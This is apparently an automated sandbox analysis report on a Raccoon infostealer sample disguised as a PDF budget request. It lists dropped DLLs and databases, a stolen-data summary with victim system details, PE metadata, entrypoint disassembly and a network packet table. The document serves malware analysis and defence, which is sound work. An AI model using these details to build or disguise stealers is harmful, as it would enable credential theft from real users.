SHA-256:	25A4DAE37120426AB060EBB39B7030B3E7C1093CC34B0877F223B6843B651871
SHA-512:	3DD4A86F83465989B2B30C240A7307EDD1B92D5C1D5C57D47EFF287DC9DAA7BACE157017908D82E00BE90F08FF5BADB68019FFC9D881440229DCEA5038F61CD6
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L....@.\.........."!.........b...............................................P.......\|....@..........................................0..x....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...D.......F..................@..@.data........ ......................@....rsrc...x....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\ucrtbase.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1142072
Entropy (8bit):	6.809041027525523
Encrypted:	false
SSDEEP:	24576:bZBmnrh2YVAPROs7Bt/tX+/APcmcvIZPoy4TbK:FBmF2lIeaAPgb
MD5:	D6326267AE77655F312D2287903DB4D3
SHA1:	1268BEF8E2CA6EBC5FB974FDFAFF13BE5BA7574F
SHA-256:	0BB8C77DE80ACF9C43DE59A8FD75E611CC3EB8200C69F11E94389E8AF2CEB7A9
SHA-512:	11DB71D286E9DF01CB05ACEF0E639C307EFA3FEF8442E5A762407101640AC95F20BAD58F0A21A4DF7DBCDA268F934B996D9906434BF7E575C4382281028F64D4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E..............o........p..................................................................Rich............................PE..L....3............!.....Z...........=.......p...............................p............@A........................`................................0..8=......$... ...T...........................H...@............................................text....Z.......Z.................. ..`.data........p.......^..............@....idata..6............l..............@..@.rsrc...............................@..@.reloc..$...........................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\vcruntime140.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\machineinfo.txt Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	1080
Entropy (8bit):	5.263112003222452
Encrypted:	false
SSDEEP:	24:DlAeeIH/v3edyfFdt5IdrBqhKQa7kCGik/R8RA2Tvqzh:BAeX33b32BgFCGik/R0A+0h
MD5:	6E6628317291ACCCC95166E30C8A3C9F
SHA1:	A8DFBEF917DF4B0A1608CF34DBD769A7986FD383
SHA-256:	E0F9CD82E2DCA47FBC065E12151FAB80EC9B9349C79C6ACF16F46D40B9CE9EE0
SHA-512:	7133D91D77C64C5052DA86A6DC145076EF615CD1409283F6B45B6D0D8CA8376F2E41540996D678EA8C642B2736913F8964B827D868E0FDFD888F284DE28FB405
Malicious:	false
Preview:	Raccoon \| 1.7.3...Build compile date: Sat Feb 27 21:25:06 2021...Launched at: 2021.04.09 - 01:46:41 GMT...Bot_ID: D06ED635-68F6-4E9A-955C-4899F5F57B9A_user...Running on a desktop......-------------...... - Cookies: 1... - Passwords: 0... - Files: 0......System Information:... - System Language: English... - System TimeZone: -8 hrs... - IP: 185.32.222.8... - Location: 47.431301, 8.562700 \| Glattbrugg, Zurich, Switzerland (8152)... - ComputerName: 123716... - Username: user... - Windows version: NT 10.0... - Product name: Windows 10 Pro... - System arch: x64... - CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (4 cores)... - RAM: 8191 MB (8125 MB used)... - Screen resolution: 1280x1024... - Display devices:....0) Microsoft Basic Display Adapter......-------------......Installed Apps: ....Adobe Acrobat Reader DC (19.012.20035)....Google Chrome (85.0.4183.121)....Google Update Helper (1.3.35.451)....Java 8 Update 211 (8.0.2110.12)....Java Auto Updater (2.8.211.12)....Update

C:\Users\user\AppData\LocalLow\rQF69AzBla Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.698304057893793
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBoIL4rtEy80:T5LLOpEO5J/Kn7U1uBoI+j
MD5:	3806E8153A55C1A2DA0B09461A9C882A
SHA1:	BD98AB2FB5E18FD94DC24BCE875087B5C3BB2F72
SHA-256:	366E8B53CE8CC27C0980AC532C2E9D372399877931AB0CEA075C62B3CB0F82BE
SHA-512:	31E96CC89795D80390432062466D542DBEA7DF31E3E8676DF370381BEDC720948085AD495A735FBDB75071DE45F3B8E470D809E863664990A79DEE8ADC648F1C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\sqlite3.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	916735
Entropy (8bit):	6.514932604208782
Encrypted:	false
SSDEEP:	24576:BJDwWdxW2SBNTjlY24eJoyGttl3+FZVpsq/2W:BJDvx0BY24eJoyctl3+FTX
MD5:	F964811B68F9F1487C2B41E1AEF576CE
SHA1:	B423959793F14B1416BC3B7051BED58A1034025F
SHA-256:	83BC57DCF282264F2B00C21CE0339EAC20FCB7401F7C5472C0CD0C014844E5F7
SHA-512:	565B1A7291C6FCB63205907FCD9E72FC2E11CA945AFC4468C378EDBA882E2F314C2AC21A7263880FF7D4B84C2A1678024C1AC9971AC1C1DE2BFA4248EC0F98C4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....t\...........!.....Z...................p.....a.......................................... .......................... ......H.... .......................0...3...................................................................................text...XX.......Z..................`.P`.data........p.......`..............@.`..rdata........... ...\|..............@.`@.bss....(.............................`..edata... ......."..................@.0@.idata..H...........................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc........ ......................@.0..reloc...3...0...4..................@.0B/4...........p......................@.@B/19................................@..B/31.......... ......................@..B/45..........@......................@..B/57..........`......................@.0B/70.....i....p..........

\Device\Null Download File
Process:	C:\Windows\SysWOW64\timeout.exe
File Type:	ASCII text, with CRLF line terminators, with overstriking
Category:	dropped
Size (bytes):	92
Entropy (8bit):	4.300553674183507
Encrypted:	false
SSDEEP:	3:hYFEHgARcWmFsFJQZtctFst3g4t32vov:hYFE1mFSQZi3MXt3X
MD5:	F74899957624A2837F2F86E8E62E92D4
SHA1:	1FCDAC5DEC5B0B1E00CF0247DA2A5F18566F1431
SHA-256:	507992A303C447D1D40D36E2E5163A237077B94F23A7089AC90A2F08682AE9BC
SHA-512:	E3FD14728633614B6552A75C15079AC8B04C0E8B3F49535B522C73312B1C812E30A934099AB18B507A0B4878068987D5545E90FA3747F7E7B10360EE324DB435
Malicious:	false
Preview:	..Waiting for 10 seconds, press CTRL+C to quit ..... 9.. 8.. 7.. 6.. 5.. 4.. 3.. 2.. 1.. 0..

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.757686000496675
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File size:	126976
MD5:	ac6576aa4888bbbb8bd2598e75f8b6d1
SHA1:	e61899b32566e203023dc8947c5d9d27b527af97
SHA256:	7c90ae17ff566ca8b5fef5903dab4f0a0c4382354ffe1ba9e4285bcec735fa9f
SHA512:	fc68a91877eb5b43fe679f383d110b4ea03bd0d406dcae7792ae6d377f3f81f354611289e801aedf1f08be6fcd1a627cad5c09a70082494a1c7d734017a9af66
SSDEEP:	1536:QBGouBz01JfYbF7LNgT0F//////////////////////////0qbQGRCU+brlihGo:WGZBzwRYZ7RgT0VbQ7UAlihG
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......u...1...1...1.......0...~...0.......0...Rich1...........PE..L....:NU.....................`....................@................

File Icon


Icon Hash:	0ccea09899191898

Static PE Info

General
Entrypoint:	0x4016bc
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x554E3ACA [Sat May 9 16:50:18 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b99d75676bd131a32dd8593967e4443d

Entrypoint Preview

Instruction
push 00410924h
call 00007F98ECDA6743h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
cmp byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
lea ebx, dword ptr [edi+4EC0FA13h]
mov eax, dword ptr [AFD3844Fh]
imul ebp, edi, 2Fh
jp 00007F98ECDA6756h
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
push esp
outsd
jo 00007F98ECDA6772h
and byte ptr [eax], ah
dec esi
jne 00007F98ECDA67C6h
je 00007F98ECDA67B3h
insb
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
dec esp
xor dword ptr [eax], eax
sub byte ptr [esi+48h], ah
or dword ptr [ecx], eax
clc
push FFFFFFFDh
inc edi
cdq
push esp
loop 00007F98ECDA6754h
clc
sbb cl, byte ptr [edi-63h]
fsub qword ptr [EBC50C6Bh]
mov al, byte ptr [ebp-63h]
mov di, ds
sbb byte ptr [edi], FFFFFFA8h
jnbe 00007F98ECDA678Ah
cmp cl, byte ptr [edi-53h]
xor ebx, dword ptr [ecx-48EE309Ah]
or al, 00h
stosb
add byte ptr [eax-2Dh], ah
xchg eax, ebx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
cmp al, F1h
add byte ptr [eax], al
fiadd dword ptr [eax+eax+00h]
add byte ptr [edi], al
add byte ptr [ebp+4Eh], dl
inc esp
inc ebp
push edx
inc edi
dec ecx
add byte ptr [67000901h], cl
jne 00007F98ECDA67BEh
insd
outsb
je 00007F98ECDA67B7h
outsb
add byte ptr [ecx], bl
add dword ptr [eax], eax
inc edx
add byte ptr [edx], ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x18754	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1a000	0x4856	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x228	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x160	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x17cd8	0x18000	False	0.397664388021	data	6.30737519474	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x19000	0xaf4	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x1a000	0x4856	0x5000	False	0.414208984375	data	4.36128194962	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x1c2ae	0x25a8	data
RT_ICON	0x1b206	0x10a8	data
RT_ICON	0x1a87e	0x988	data
RT_ICON	0x1a416	0x468	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0x1a3d8	0x3e	data
RT_VERSION	0x1a180	0x258	data	English	United States

Imports

DLL

Import

MSVBVM60.DLL

_CIcos, _adj_fptan, __vbaFreeVar, __vbaStrVarMove, __vbaFreeVarList, __vbaEnd, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaSetSystemError, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaAryVar, __vbaAryDestruct, __vbaVarForInit, __vbaObjSet, __vbaOnError, _adj_fdiv_m16i, _adj_fdivr_m16i, __vbaFpR8, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, __vbaStrCmp, DllFunctionCall, _adj_fpatan, __vbaLateIdCallLd, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, __vbaStrVarVal, _CIlog, __vbaNew2, __vbaR8Str, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaI4Str, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaI4Var, __vbaVarAdd, __vbaVarDup, __vbaStrToAnsi, __vbaFpI4, _CIatan, __vbaStrMove, __vbaCastObj, __vbaAryCopy, _allmul, __vbaLateIdSt, _CItan, __vbaFPInt, __vbaVarForNext, _CIexp, __vbaFreeObj, __vbaFreeStr

Version Infos

Description	Data
Translation	0x0409 0x04b0
InternalName	Udlgni4
FileVersion	3.00
CompanyName	Salty
Comments	Salty
ProductName	Salty
ProductVersion	3.00
FileDescription	Salty
OriginalFilename	Udlgni4.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 8, 2021 18:46:28.193463087 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.205327034 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.205482960 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.206219912 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.217866898 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.230096102 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.230123043 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.230145931 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.230168104 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.230170012 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.230211020 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.230257988 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.246223927 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.258065939 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.258172035 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.259757042 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.276715994 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.519294024 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.519344091 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.519380093 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.519418001 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.519424915 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.519459009 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.519464970 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.519484997 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.519519091 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.520004034 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.520051003 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.520083904 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.520114899 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.520860910 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.520895958 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.520939112 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.520986080 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.521681070 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.521744013 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.521752119 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.521797895 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.522468090 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.522505999 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.522532940 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.522581100 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.528192043 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.528271914 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.531560898 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.531658888 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.531673908 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.531738043 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.531826019 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.531892061 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.532008886 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.532110929 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.532778978 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.532820940 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.532861948 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.532891035 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.533700943 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.533759117 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.533786058 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.533884048 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.534356117 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.534416914 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.534432888 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.534482002 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.535212994 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.535257101 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.535303116 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.535331011 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.536065102 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.536114931 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.536158085 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.536184072 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.536936998 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.536983967 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.537013054 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.537038088 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.537832975 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.537899017 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.537916899 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.537955046 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.538584948 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.538619995 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.538675070 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.538702011 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.539300919 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.539344072 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.539376974 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.539405107 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.540208101 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.540251017 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.540298939 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.540323019 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.540853977 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.540941954 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.542335987 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.542442083 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.542452097 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.542511940 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.542576075 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.542643070 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.543647051 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.543689966 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.543728113 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.543737888 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.543768883 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.543776989 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.544450998 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.544496059 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.544536114 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.544540882 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.544559956 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.544586897 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.545191050 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.545263052 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.545278072 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.545306921 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.545314074 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.545367002 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.546407938 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.546432018 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.546475887 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.546494961 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.546524048 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.546530962 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.546943903 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.547015905 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.547022104 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.547061920 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.547080994 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.547121048 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.547748089 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.547801018 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.547832012 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.547846079 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.547848940 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.547903061 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.548811913 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.548856974 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.548897982 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.548904896 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.548919916 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.548966885 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.550012112 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.550048113 CEST	443	49722	172.217.168.33	192.168.2.5
Apr 8, 2021 18:46:28.550110102 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.550146103 CEST	49722	443	192.168.2.5	172.217.168.33
Apr 8, 2021 18:46:28.556576014 CEST	443	49722	172.217.168.33	192.168.2.5
